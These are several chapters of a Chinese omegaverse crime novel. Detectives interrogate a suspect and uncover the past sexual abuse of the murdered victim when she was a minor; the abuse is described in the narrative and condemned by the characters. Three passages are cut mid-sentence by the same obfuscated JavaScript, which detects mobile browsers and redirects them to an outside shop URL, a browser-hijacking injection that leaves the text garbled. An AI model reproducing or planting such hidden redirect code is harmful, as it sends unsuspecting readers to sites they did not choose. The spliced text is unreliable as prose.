徐长嬴插着兜低头思索着整个案件,再抬起头时,只见夏青一直在看自己。 徐长嬴:“怎么了?” 夏青:“没有什么,只是我在想你作为beta,好像有自己对于性别的理解。” 徐长嬴觉得自己已经认识了面前这个全新的夏青,他笑了起来,“怎么了,大教授您可是信息素专家,你好奇我这种无名小卒的想法吗?” 夏青:“我只是从事生物学上的研究,我对于性别的理解不一定合理。” 徐长嬴将糖盒抛起又一把抓住,歪着头道:“那我的肯定不合理,我对于性别的理解就是不理解。” “不理解?” “对,我一点都不理解性别是什么,我觉得人只是人,我是徐长嬴和我是什么性别没有关系,但我也承认性别之间存在生理差异,比如在刑侦工作上,alpha的能力要远远弱于beta,比如在艺术创作上,处于社会底层的beta,和具有丰富情感感知力的Omega就更有天赋和创作力,不过我说的这些差异都是当前世道上大逆不道的话,随便一说就会被定义为极端性别主义的庸俗反扑。” 夏青静静听着,没有发表任何意见,徐长嬴知道他这个人,如果他不了解什么事他从来不会随意开口,自己当年就是喜欢他这样。 不知不觉两人已经走到了巷子口,徐长嬴听到夏青开口道:“严队说12点上班,你要回去先休息一会儿吗?” 徐长嬴突然意识到他是要送自己,但他还是假装没听懂夏青的潜台词并故意岔开了话: “现在还没到九点,我准备去菜市场买点菜,回去正好就做午饭了,夏青你也先回去休息吗?” 夏青点点头,他单肩背着背包站在巷子口,静静望着乐颠颠要去扫共享单车的徐长嬴,却突然又开口道:“你要做午饭吗?” 徐长嬴回过头,看见他一身俏白站在日光里,望着自己的眼睛像湖水一样漂亮,也让他心里的情感如杯中水一样慢慢溢了出来,但是他还是蹬开了自行车车蹬子,笑道:“对的,难得可以用煤气灶,我回去炒两菜过一下瘾,现在齐枫和赵洋那俩人还没睡醒呢,时间刚刚好。” 徐长嬴摆了摆手:“那咱们中午市局见了,夏青,拜拜。” 夏青:“再见。” 徐长嬴拎着菜进门的时候,齐枫已经放开熊猫毛毯转去抱赵洋了,赵洋仍旧裹在被子里,只是因为身上被压了重担,所以眉头皱的更紧了,就算这样两人还是睡得天昏地暗。 徐长嬴看了看手表,早上九点半,他把菜放到厨房,回到客厅拉开窗帘,弯下腰扯着齐枫,用力把两人分开了:“还是要互相尊重一下彼此的贞操,兄弟们。” 齐枫睁开眼睛,头发冲天,她迷迷糊糊道:“要迟到了吗?” 徐长嬴叉腰望着她:“那倒没有。” 齐枫定睛看了他一会儿,猛地一个鹞子翻身,“见鬼了见鬼了!” 徐长嬴眼睛瞪大了:“你说谁是鬼?” 赵洋终于被吵醒,他一脸不满,裹着被子爬了起来:“吵什么?” 他睁开眼,看见的就是穿着和大熊猫一样的齐枫抱着徐长嬴的大腿哭着:“真的不是做梦,老大,你是活的……” 徐长嬴对上赵洋的视线,他身上的围裙被齐枫扯得乱七八糟,“严队长说的对,你们俩人就不该喝酒。” 中午夏青到的比较晚,徐长嬴还坐在他原来的位置上,只见他还是早上那一身白衬衫,两人刚对上视线,徐长嬴只来及笑一下,严建柏正好拿着文件夹也进了办公室,就与夏青说起了话,两人便没有再对上视线。 严建柏刚坐下来就收起了笑容,严肃道,“大家稍微休息过了,那我们就开始跟进后面的工作,所有人都打起精神。邵巧巧说技术组人员已经在整理监控最后的数据了,他们正将筛选的人脸与全国身份数据库进行比对,很快就把结果拿来。” 张齐惊讶道:“这么快?那监控得有几十万张脸吧?” 方溥心笑道:“昨晚夏教授将兴安集团大数据技术团队派来与我们信息部门合作,所以速度很快,现在可是人工智能时代了,老张你还以为和我们那时候一样熬大夜靠人眼看呀。” 苗成益:“那您不早说啊,我们之前三通宵白瞎了。” 余梅和谈松在边上幸灾乐祸地笑起来,严建柏又道:“谈松和宋瑜立他们和刑侦二队整理的近5年的器官贩卖的卷宗里,有五份是具有跨国、完整产业链特征的。趁着监控那头还没出来,宋瑜立,你先来汇报一下。” “是,”宋瑜立对着手中的文件朗声道:“在5个案件里,其中2个犯罪团伙里主犯还在潜逃中,我们认为这2个可以在后续重点关注,首先是2017年在福建被捕的犯罪团伙,该团伙主犯张某,与当地□□组织勾结,由小诊所为销售窗口向外贩卖器官,器官来源多是传销组织和高利贷团伙提供,但在当年扫黑除恶行动中被扫除了。” “2018年在云南的犯罪团伙,主犯叶某王某,是夫妻关系,与当地民营医院谋划,他们负责哄骗偷渡者和社会底层人员,将自己的器官卖给医院,双双都已入狱。” “同样是2018年在云南的犯罪组织,主犯邓某,以毒品和高利贷为手段,胁迫妓女、瘾君子等社会底层人员贩卖器官,该团伙是在18年一次重大缉毒行动中被逮捕的,所以犯罪人员也都已经入狱。” 宋瑜立翻了一页报告:“接下来就是2个主犯人员依旧在潜逃的案件,2019年福建的一个犯罪团伙,主犯有3人,他们是一个偷渡蛇头组织,在引导柬埔寨、越南等国籍的人员非法偷渡时,会通过私人医院等渠道贩卖器官,其中主犯黄兴还在通缉中,警方怀疑他现在流窜在东南亚。” 所有人都仔细聆听做着笔记,并凝神思考,宋瑜立道:“最后一个时间比较近,2020年广东的犯罪团伙,团伙主犯仅抓到一人祁某,他们大部分的犯罪行径并不在国内,而是在公海上,通常以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049259|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商用游艇的方式到达公海领域时开设赌场和□□易场所,由外国人员举报,在进入港口时被公安逮捕,在底层的船舱发现了手术室和冷冻的人体肝脏,但空无一人。这个祁某也只是游艇的持有者,他说他是根据组织指令安排出海行动的,但组织具体信息他并不了解。” 谈松已经将所有的复印件都发给每一个人,赵洋皱着眉头道:“非要说有可能的肯定只有最后两个,一个是东南亚偷渡犯兼职卖器官,一个是公海开赌场的兼职换器官,哪一个都符合我们现在的东南亚籍、女性Omega和器官贩卖的关键线索。” 齐枫点头补充道:“2020的这个案件我们都有印象,当时游轮上面有不少地方干部和其亲属,海关和省厅那边废了好大劲才给啃下来。但我记得这个案件不是也宣告查清楚了吗?这个祁某和他背后的保护伞都被查出来了。” 谈松抽出一张照片,那是一艘豪华游轮的照片:“查清楚的是这艘船,怎么出海、怎么组建赌场、如何拉拢富商高官,但祁某和他背后的保护伞都说不清这艘船里面的许多事,其中藏着人体器官的手术室祁某更是一问三不知,他说是固定时候会有人联系他安排些器械和人员上船,这些人都很神秘,定期会为他们提供赌场名单和赌资。 他实际上连真名也不知道,只知道其中两人叫鬼仔和阿风。因为线索中断,而且这间手术室在整个案件里占比太小,所以暂时封案了。” 齐枫点点头摸着下巴:“原来是这样,那这个案件嫌疑很大呀——” “严队,”夏青突然开口,所有人都抬起头看向坐在办公桌前方的年轻教授,听见他面上依旧冷冷清清,语气平静: “今早我和徐长嬴去访问受害者家属时,家属赵秀贞提到她女儿说过赵兰月以前与一个社会青年交往过,名字叫阿风。” 全场寂静。 “啪,”赵洋将笔扔在桌上,转过头对着徐长嬴:“你和他去,不和我去?” 一时间所有人都无语了,方溥心道:“赵洋,注意态度,这是重点吗?你当办案是玩的吗?” 余梅毫不留情地嗤笑道:“赵洋你小学生吗,你吃什么醋啊。” 徐长嬴也很震惊,他抓了抓头发笑了起来,“没想到随口一问还真问出什么名堂了,就是不知道全广州几千个阿风,这俩阿风是不是同一人。” 很快徐长嬴就详细地将与赵秀贞谈话过程和记录都公布出来,赵洋就算不高兴,也投入案件当中去了。 谈松拍了一下文件夹:“这次赵秀贞不愿意也得说的清清楚楚了。” 严建柏办事雷厉风行:“今天下午就通知赵秀贞,把她带到市局来问。” 话音刚落,门就被推开了,邵巧巧和兴安的技术员许豪进来了,邵巧巧气喘吁吁:“严队,人员筛选出来了,观看五个展品都超出人均观看时长的,四个人。” 严建柏语气平和了一些:“辛苦了,巧巧,你放这来,正好所有人都在。” 邵巧巧把电脑放在办公桌上,她的脸上表情却有些微妙:“严队,第一个嫌疑人就很奇怪。” 齐枫疑惑道:“怎么奇怪了?” 邵巧巧将第一个文件打开,视频跳了出来,监控不断快进,一个人站在原地不动,那个人而办公室里的所有人都认识。 邵巧巧道:“是赵兰月的姑妈,赵秀贞。” 14. 尘封罪行(上) “吴奇泽,alpha,电影道具师,这个职业怪有意思的。”齐枫弹了弹纸张,对着站在审讯监控室里的众人道。 市局的刑侦第二三支队都加入了审讯工作,每个审讯室一共三个人警察,除了赵秀贞是重案组负责的,其他三个嫌疑人分配给了二三大队。 四个嫌疑人除了受害者姑妈赵秀贞,分别是34岁男性alpha,吴奇泽,职业是电影道具师;29岁男性beta,张连,家里蹲啃老族;27岁男性alpha,田望海,美院大学生。 徐长嬴戴着耳机,转过头对她笑道:“他刚刚说他现在在《风雷》电影剧组里工作,负责做些人偶、爆破道具什么的,职业还挺契合的。” 班杰明对着手中的笔记本道:“不仅是他,田望海在美院里的专业是雕塑,而张连的爱好是动漫道具制作,这三人的职业和技能都比较可疑。” 更巧合的是,吴奇泽居然是赵秀贞带去艺术馆的——监控视频里长相普通的中年男性坐在审讯室里一脸惊恐不安:“赵姨她去年经常撮合我和她老公的外甥女,所以我们就认识了,上个月买菜的时候赵姨说她儿媳单位给了两张艺术馆的票,她问我周四有没有空,票就一天的,她没处给,就这么巧给我了。” 监控室里坐在电脑前的警察严肃道:“那你为什么和她在五个人体塑像前停留那么久,这5个塑像都不在一条线路上。” 吴奇泽哆哆嗦嗦:“当时赵姨看人多就说我俩一起走,但是她走的慢,我就找自己感兴趣的展品带着她走马观花,我是做道具的,我都忘了我看了什么,我就记得我看了不少人体塑像,谁知道里面有这么吓人的东西。而且我记得中途赵姨和我都上了趟厕所,可能出来我们俩转了向,但我也不记得了。” 谈松放下电话,对着神色沉重的严建柏道:“严队,巧巧那边确认了,赵秀贞儿媳妇王珊珊的单位是旅游社,确实给了她两张票。” 严建柏点头,昏暗的监控室里,他放下手中的耳机,换了一个靠在耳朵上,那是赵秀贞审讯室的。 赵秀贞现在哭得趴在审讯桌上不起来,宋瑜立负责主要审讯,他大声拍着桌子让赵秀贞控制情绪,哭也没用。赵洋负责副手,他坐在电脑前面无表情地看着撒泼放赖的赵秀贞,而余梅作为记录员,这时作为女性只能象征性的安抚一下,但是这个老太婆是软硬不吃,只是放赖卖惨。 严建柏神色不变,从容不迫地对着耳机说:“她不配合就提审她儿子儿媳她丈夫。” 监控画面里,赵洋站起身喝道:“认清你自己现在的情况,你不配合也没有用,你的家里所有人都要来谈话!” 徐长嬴戴着耳机盯着监控,他第一次意识到赵洋在这些年中真的变成了一个成熟的刑警,与记忆中那个倔头倔脑的高中生彻底变成了两个人。 赵秀贞这时才收起了撒泼的模样,坐在审问室的椅子上抹着眼泪,余梅这时看不过去递了纸张过去让她擦擦鼻涕眼泪,就回到自己的位置,开始审问。 监控室里谈松咂舌:“真是难缠。” 宋瑜立端坐在桌前,桌上的台灯光线打在三人的制服和警徽上泛起冷光,赵秀贞似乎才意识到自己在什么地方,不由得打起了冷颤。 宋瑜立面无表情,他三十岁出头,脸上还有一道从鼻梁划到颧骨的疤痕,看上去不怒自威:“你为什么没有在之前的调查时向警方坦白你去过艺术馆?” 赵秀贞结结巴巴,神情满是犹疑:“一开始我不知道赵兰月是艺术馆里的、那个展品,当时警察第一次来问话也没有问我,所以我也忘了说。” 宋瑜立喝道:“那你之后知道了赵兰月是艺术馆案子里的受害者为什么不坦白!” 赵秀贞眼泪又涌了出来,但审问室里的三个警察的表情没有任何的松动,她这时扭着纸巾眼睛望着桌面:“我知道后害怕呀,多晦气啊,我一想到我去过死人放的地方我就膈应,而且我也没想到那么巧,所以我就一时糊涂没说——赵兰月那个女的多少年前就没少给我们家找事,我们清白白的一家人摊上这个孽障,我真的恨死她了!” 宋瑜立眼睛一瞪:“注意态度,你知道你现在身份是什么吗?犯罪嫌疑人!” 赵秀贞一哆嗦她这才发现自己的话语反而让她的嫌疑加深了,连忙惊恐地摆摆手:“我我没有那个意思,我一个妇人家我也没能力去害赵兰月,而且我都好几年没见到她了!” 监控室里方溥心摸着下巴望着在扯皮的赵秀贞若有所思道:“现在赵秀贞身上的嫌疑最大,因为她身上太多巧合了,光是她在5个展品前呆了这么久并且隐瞒这点就极其可疑,就算她再讨厌这个侄女,在这么大的案件调查中也应该坦白,毕竟说出来我们这边很快就能排查掉她的嫌疑。” 严建柏转头问着谈松:“老田他那边将赵秀贞家属都带来了吗?” 谈松道:“她儿媳和丈夫都被带到局里了,现在还没开始审问。” 李嘉丽此时站在徐长嬴后面,齐枫很少遇到女性alpha同事,所以她和李嘉丽这两天多聊了两句,此时齐枫就问李嘉丽:“阿丽,你怎么看?” 李嘉丽双手抱着胳膊,抿了抿嘴,迟疑道:“她肯定不是犯罪嫌疑人,这个案子里犯罪手段太过专业,她的社会关系太过稳定,不具备犯罪条件。” 此言一出,直戳在场每一个人的心,他们其实都能分析出赵秀贞几乎不可能是人体雕塑的凶手,但赵秀贞的态度和经历都过于奇怪,而且她不配合任何的调查工作,就像心虚一样。 徐长嬴望着监控室里憔悴的女人,心中的猜想越来越明朗。 又听了一会儿审问,方溥心摇了摇头,“这老阿姨真的太能扯皮了,我们也抓不住她真的马脚,”于是他转过脸看向他身边的夏青,“夏教授,您这边有什么想法吗?” 徐长嬴抬起头,只见夏青双目紧紧盯着监控中的画面,屏幕的光幽幽打在他的脸上,衬得他的轮廓更加深邃,听到方溥心说话,他转过头,正好对上徐长嬴的视线。 夏青望着他,眼睛映着着屏幕的亮光,“我认为她有过犯罪行为,但不是在这个案件中。” 谈松等人都惊讶了,谈松追问道:“夏教授,为什么你会认为赵秀贞犯过罪?” 夏青转过头,继续看着屏幕里的赵秀贞,他的话语如刀锋般冰冷与简练:“赵秀贞的受教育程度是高中学历,家中子女的教育水准也较高,她一开始不配合调查的反应过于激烈,与她本人的认知水平不符,这不应该是出于恐慌和无知而萌发的抵触情绪,我认为这是一种扮演行为。而在正式审问开始之前就说谎,说明她有需要隐瞒的罪行。” 一旁的李嘉丽一脸欣赏道:“我赞同。” “虽然赵秀贞在这次案件中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049260|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有犯罪能力,”夏青语气突然变了,“但她的说谎行为说明她所隐瞒的犯罪行为是与案件中的赵兰月相关的,我建议着重调查一下赵兰月在赵秀贞家时的社会关系,有可能他们这几年并不是没有联络过。” 说完,夏青又看向徐长嬴,徐长嬴的猜想被他说中了一半,他冲夏青笑了一下,继续戴上了耳机。 严建柏听完夏青的分析后十分认同,“夏顾问分析的非常合理,后续确实要集中调查赵兰月与那个''阿风''的关系,赵秀贞这边是一个重大突破口,小宋,你现在仔细审问赵兰月高中时的社会关系,务必让她把知道的都说出来!” 宋瑜立听到耳麦里的老大说话,立刻放弃和赵秀贞扯皮赵兰月欠她的钱,严肃问道:“你之前说过很多次赵兰月与社会人士来往,你是怎么知道这些的!” 赵秀贞又狡猾地含糊道:“那都是多久之前的事情了,这种事情,邻居间会传,学校家长里也会说,毕竟赵兰月是个Omega,又不正经,她的名气好大!好远!我们家都抬不起头……” “别扯这些,你说邻居、学生家长会说,你现在就把邻居、家长名字说出来!” 宋瑜立等人毕竟是刑警中的精英,审问能力不掺一丝水分,步步紧逼,赵秀贞再狡诈也逐渐支撑不住。 徐长嬴咬着手指,他烟瘾犯了,只能掏出薄荷糖干嚼起来,他眼睛聚焦在屏幕中的赵秀贞,耳机里传来女人磕磕巴巴的声音,心里的焦虑情绪逐渐蔓延,不对,这些都不对,她说的都是不痛不痒的假话。 “你怎么想?”清冽的声音响起。 徐长嬴转过头,发现夏青已经站到自己的身边,他望着自己,“你应该有了自己的想法。” 他声音不大不小,足以让重案组都听见,齐枫的脸上露出一丝古怪的神情,看了看徐长嬴,又看了看夏青。 严建柏立刻道:“徐警官您有什么想法尽管直说,您国际刑侦的思路和经验对我们工作也十分宝贵。” 徐长嬴低头摩挲着自己的小笔记本,他思索了三秒钟,抬起头,“我可以让审问的警官稍微更换一下问题吗?” 严建柏和方溥心对视一眼,他抬起手:“自然,您尽管开口。” 徐长嬴点点头,他戴上耳机抬起头,眼中在昏暗的灯光里闪烁一抹残忍的光亮,众人只听见他平静道: “赵洋,你现在对赵秀贞说她审问价值太低了,他儿子已经到了,你们现在差不多要去审他儿子赵齐源了。” 审问室里宋瑜立、赵洋和余梅三人都听到了耳机里突然出现的徐长嬴的声音,此刻宋瑜立正在审问赵秀贞让她把赵兰月关系好的同学说出来,一时还没反应过来,但是赵洋却立刻行动起来。 审讯室里,赵洋合起笔盖,把笔和本子往电脑边一放,动静不小,很快就吸引住赵秀贞的目光,赵洋状似无意地正了正警帽,“行了,队长说她知道的信息太少了,问的也差不多了,刚刚赵齐源到了,快点结束这边,马上去审赵齐源。” 话音刚落,未等其他警员们品出这句话的含义,赵秀贞的面容瞬间变得狰狞恐怖,她如同只困兽般厉声吼道: “你们要把我儿子怎么样!这根本不关他的事!” 坐在赵洋身侧的余梅瞬间攥紧了键盘上的手指,抬头看向天花板处的监控摄像头,眼神中流露出无法掩饰的惊诧和不可置信。 15. 尘封罪行(下) 赵秀贞情绪的巨大变化超出了所有人的预料,监控室里的徐长嬴面色如常但目光灼灼,似乎这一切都正中他下怀,他对着耳机语气平淡地继续道:“走访周边人员,有人提到了你儿子和赵兰月。” 下一秒审问室里,赵洋脸上露出一丝厌烦,语气严厉道:“什么怎么样!走访周边人员有人提到你儿子和赵兰月,我们这是公事公办,你快点回答刚刚的问题,我们这边要结束了!” 监控室里所有人又都一头雾水,不知道为什么要突然提到赵秀贞的儿子,赵秀贞的审问按理说还要进行两个小时以上,这么突然结束,难道能诈出什么吗? 下一秒,出乎所有人意料的是,赵秀贞居然开始克制不住地浑身发抖,像是被抽了魂一样,哆哆嗦嗦道:“别去问他!他说不清楚!我来说!” 审问室里的宋瑜立都暗暗被惊住了,没想到面前的人在短短几秒间能有这么大的反差。 监控室的所有人都看向徐长嬴,只见对方宛若早有预料,这个beta警探对着耳机说了最后一句击破赵秀贞防线的话: “你现在全部说清楚,你儿子受到的惩罚还能轻一点。” “你现在全部说清楚,你儿子受到的惩罚还能轻一点。” 赵洋的话刚落下,赵秀贞就捂着脸痛哭起来,她语气十分急促:“都是赵兰月那个小贱女的错,她害死她爸不算,我好心收留她,她却勾引我儿子!” 徐长嬴将耳麦关了,歪过头看向夏青,夏青点了点头,似乎早已了然。 监控室和审问室里的所有人都被赵秀贞的这句话给吓住了。齐枫立刻扭过头:“你怎么知道她儿子和赵兰月的事情!” 徐长嬴抓了抓脸:“猜的。” 齐枫一脸不可思议:“怎么可能猜到!” 徐长嬴双眼闪烁着莹莹的光,他摊开手坦言道:“因为我这个人想法特别阴暗,今天去赵秀贞家听到她对赵兰月的描述,又看到赵兰月当年住的地方就有预感了,你知道赵兰月住在哪儿吗?” 徐长嬴见众人都看向他,于是他比划一下:“不到两平的阳台,青春期的长相漂亮的Omega,起居什么都会被来往的人看光,发热期也没有给予任何封闭空间和保护措施,这是非常典型的家庭内部性侮辱仪式,而她家里还有两个具有威胁性的男性,不难猜到,夏青只是没说出来。” 齐枫又看向夏青,夏青漂亮的脸上没什么表情,但他摇了摇头:“我没有想到这么深。” “啊呀夏教授就是太谦虚——加上刚刚严队说要审问赵秀贞家属,她突然就老实了,”徐长嬴耸了耸肩,“我就觉得差不多了,而且我上个月在国外的儿童性侵案件和这个很像,家庭成员一直是性侵未成年的主要凶手。” 谈松毛骨悚然道:“性侮辱仪式?” 李嘉丽解释道:“这是AGB在办案中会用到的术语,是指为了合理化性侵行为而对受害者进行言语、环境和行为上的刻意冒犯,创造出一种侵犯受害者也不会受到惩罚的心理环境,例如连续口头侮辱受害者、强迫受害者袒露隐私、让多人冒犯受害者私人空间,多发生在家庭和学校之中。” 审问室里宋瑜立重新找回审讯的主导:“什么叫赵兰月害死她父亲?赵兰月当时还是未成年,怎么可能勾引你成年的儿子,赵齐源是铁板钉钉的犯罪!” 赵秀贞披头散发,她为了儿子而迅速整理自己的思路,她举着手:“我交代,我全部说清楚,警察同志你听我说你就知道了。赵兰月她三岁时亲妈就跑了,她爸辛辛苦苦把她拉扯大,她到了十岁被分化成了Omega之后就变得趾高气昂,小学时就在学校里和社会上结交不三不四的人,说是她男朋友。到了十二岁上了初中更是变本加厉,她爸爸之前也和我透露过,他一个大男人拉扯这个小孩非常不容易,特别是Omega性别特别特殊,到了那什么发情期就很浪——” “说重点!你扯这些有的没的干什么!”宋瑜立太阳穴青筋狂跳,“我不是来听你扯家常的!” “我说我说,我正在说清楚,”赵秀贞狠狠锤了一下大腿,面上表情更加狠厉,“上了初中之后赵兰月在学校交了好几任男朋友,并且在家里对她爸爸也不尊重,年纪小小就说要和男朋友离家出走,然后……她发情期不规律,她爸就不注意……” 随着赵秀贞声音越来越低,宋瑜立的神情就越来越严肃,看似波澜不惊的面庞上开始爬上些许惊异的情绪,他沉下声音:“不注意什么?继续说!” 赵秀贞攥紧的双手,眼睛里满是血红:“她自己发情期不规律,她爸没有注意就被她勾引标记了她,谁知道她竟然去报了警!她爸养育她那么久,她不知感恩,竟然还想让她爸去坐牢……” 一瞬间,审问室和监控室里如同冰窖,可赵秀贞还陷入自己的世界里喋喋不休,丝毫没有察觉到脸色越来越难看的三个警察,“她先是跑来和我还有我堂妹他们家都说了一圈,我们明明都开导她,她爸是个alpha,又是因为她自己突然发情才让她爸不小心犯了错,亲生女儿最应该体谅,而且她发情期不是不规律吗?这样还能一直过上正常女生的日子,比走大马路上被不认识的人占便宜强多了,等到成年的时候去医院做个手术就消掉……” 谈松摔了耳机,神情间满是不可思议和愤恨:“真他妈是畜生!畜生一家!”监控室里的其他人也都露出了难以言喻的复杂表情,齐枫无可奈何地搓了搓脸,方溥心叹了一口气。 赵洋重重拍了下桌子,巨大的响声将赵秀贞惊醒一样,这才停下对当年赵兰月的诋毁,赵洋冷着脸,目光宛若刀锋一样剜着对面的老年妇女:“这和你儿子赵齐源侵犯赵兰月又有什么关系?你能给我个合理解释吗?” 听到儿子的名字,呆愣着的赵秀贞眼泪如不要钱一样滑过脸颊,她脸色惨白,张了张口:“你听我解释啊警察同志,赵兰月她爸躲警察的时候被人砍死了,我见她可怜就把她监护权接了过来,她的标记也被Omega部门的人带去洗掉了,但是这样她就有发情期了,别人一年6次发情期,她一年要发八次、不、十次发情期!把我们全家都折腾的不得安宁!我儿子当时已经工作了,回来也不能好好休息,经常挤在阳台睡。但是赵兰月越长大越变本加厉,在学校和社会交往的人越来越多,关于我们家风言风语越来越厉害,我女儿年纪小在学校都会因为她被人骚扰,她虽然是个beta,但是又懂事,读书又好——” 宋瑜立不知道是第几次拍桌子,“说重点,说重点!你再扯有的没的试试!” 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049261|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀贞哆哆嗦嗦:“赵兰月在家也穿小吊带,小短裤,我和她说了很多遍女孩子要注意,穿厚点……” 齐枫都气笑了,“广东夏天让人在家里穿厚点,我真的服了。” 赵秀贞眼泪还在掉,浑然已经是一个悲痛欲绝的老年女性:“那天她发情期又到了,我让她在家自己呆着,也给她抑制剂了,然后我们就出门了,那天是我女儿的生日。我回来的时候,我儿子浑身都是血,后背和胳膊都是刀砍的血印子,她这个Omega根本就不正常,她发情期起来抑制剂打下去还会想男人,遗传了她妈的天生浪荡,我儿子那天正常下班回来去关心一下,想照顾她而已,她勾引完我儿子还用刀砍他,还在屋子里大喊大叫说要报警……” 监控室里徐长嬴突然开口问道:“国内现在能判赵齐源刑吗?” 夏青转过头,对着他摇了摇头:“赵兰月已经死亡了,处理起来会很困难,不过警方这边如果收集到足够的赵齐源本人的认罪口供、赵秀贞这样的证人证言,交给公检法应该会处理,但是判刑会很低,不会到一年。” 徐长嬴神色缓和了些:“能判就行,一年也很好了。” 此言一出,监控室里其他人其实是不理解的,因为和朴素的道德观不一样,徐长嬴的态度就好像赵齐源对赵兰月的创伤坐一年牢就足够弥补了。 徐长嬴又打开了耳麦:“宋警官,辛苦你问一下,赵兰月最后为什么放弃了报警?” 宋瑜立的怒气已经积攒到临界点了,他狠狠抬起头,丝毫不管赵秀贞的眼泪:“所以赵兰月为什么放弃报警去抓赵齐源?她连她爸都能告,你怎么让她不告你们的?” 赵秀贞抹了一把鼻涕,她换了一口气:“我怎么和她说都没用,她还想拿刀砍和她关系好的我女儿,所以我就没有办法。我对她说。” “你要是报警,我就去学校说你被你亲爸标记过。” 赵秀贞似乎根本没有察觉出她说的话有多么残忍和无耻,“我没想到她还是有点羞耻心,她真的就不闹了,我们家后来还给她重新布置了房间,对她也尽力补偿,然后这件事真的就过去了,赵兰月其实没受到什么伤害,真的!她在外面男朋友那么多,经常夜不归宿,和男人睡觉也是常有的事……” 赵洋突然开口问道:“你没有接收赵兰月父亲的财产吗?” 赵秀贞愣住了,她嘴唇嗫嚅:“他父女俩还欠高利贷,能有什么钱?不就几间房子……” 赵洋双眼死死盯着赵秀贞,那目光中宛若两团火,但他的脸上却没有表情,他问道:“为什么赵兰月在外勾结的男朋友没有标记她?而你的亲哥和你儿子却侵犯了她?” “为什么发情期中的Omega抑制生理欲望是有罪的,而你儿子一个没有信息素影响的beta成年男性强bao未成年却是无辜的?” 监控室和审问室里均响彻着赵洋冷酷如刀刃般的声音。 “你和你儿子,赵兰月的父亲,都是一丘之貉,是社会的毒瘤,你百般污蔑一个死人毫无意义,你们对死人犯下的罪行也会受到惩罚。” 宋瑜立面上满是冷峻,他冷冷地接过话头,对呆若木鸡的赵秀贞轻蔑道:“继续吧,赵秀贞,你多说点,你宝贝强bao犯儿子说不定能轻判点。” 16. 犯罪图腾 审问工作到了凌晨4点才结束第一轮。 因为赵秀贞现在是最有价值的审问对象,所以赵洋等人并没有放过她,只是这个女人一提到她女儿就严防死守,刑警让她现场拨电话,她女儿王添笑也是不接,于是严建柏等人便意识到赵秀贞一家可能提前串供,不过好在有关“阿风”和赵兰月上学时的事情不难打听,刑侦分队那边已经安排明天去当年学生和老师家中走访的人员了。 赵洋一屁股在刑侦科会议室里的椅子上就直不起腰了,他们审到最后身上冒火,三个人白衬衫袖子都卷到手肘上,赵洋双手抱着肩膀,头仰着张着嘴就要睡过去,房间的另两个角落里余梅与宋瑜立也是差不多的疲惫状态。 审讯是一门非常有门道的学问,问问题的方式,顺序,逻辑,速度乃至真假都要根据嫌疑人的表现不断变化,主问是宋瑜立,副手是赵洋和余梅,严建柏选他们三人也是因为这个组合刚柔并济,审赵秀贞最合适不过。 夏青出去接电话去了,徐长嬴拉开赵洋身边的椅子坐了下来,他手里拿着一条毛巾递给赵洋,“擦擦脸。” 赵洋接过毛巾,胡乱抹了一把脸,清醒了些,齐枫又递了一杯水给他:“请吧,赵警官。” 余梅看着赵洋眼红不已,道:“怎么没有人也来照顾照顾我呀。” 齐枫噌的一下站直了,拎着水壶就蹿了过去,“梅姐,我来我来,请用茶。” 谈松也跟着站了起来,和齐枫一前一后倒水递毛巾。 余梅噗嗤一声笑了起来,她支着下巴,一张妍丽的脸上挂着好奇:“我听方哥他们说,你们三原来小时候就认识,是真的吗?” 齐枫用力点头道:“当然是真的,我们很早很早就认识了,和亲兄弟一样,只是后来长嬴哥突然出了国,但还好,我们又联系上了,你说巧不巧梅姐。” 话音刚落,夏青就打完电话走了进来,徐长嬴扭头看向他,冲着他笑着招了招手,夏青也拉开他身边的椅子坐了下来。 本来正要再添油加醋的齐枫看到夏青,嘴巴张了张,也不知道该说什么了。 真是诡异,当年谁能想到,四个最铁的朋友坐在一起也能形同陌路。 余梅歪着头问道:“徐警官,那你也是本地人咯?你是在国外念大学的吗?” 徐长嬴笑道:“我是本地长大的,我大学是国内念的,但是没念完,不过出国后进了AGB警官学院,应该算国外大专?” 余梅惊讶道:“没念完啊,好可惜呀,为什么呢?” 徐长嬴耸耸肩,语气轻松道:“没什么,就是突然生了病,我当时状态不是很好,年纪小也不知轻重。” 谈松突然开口道:“你是那时候与齐枫他们失去联系的吗?” 徐长嬴对这个同龄的警员笑着点头道:“对的,所以再次重逢后我也很惊讶,没想到所有的朋友又在一个行业里遇上了。” 宋瑜立这时已经对徐长嬴彻底改观了,他也主动抬起头和徐长嬴搭话:“那确实很有缘分。” 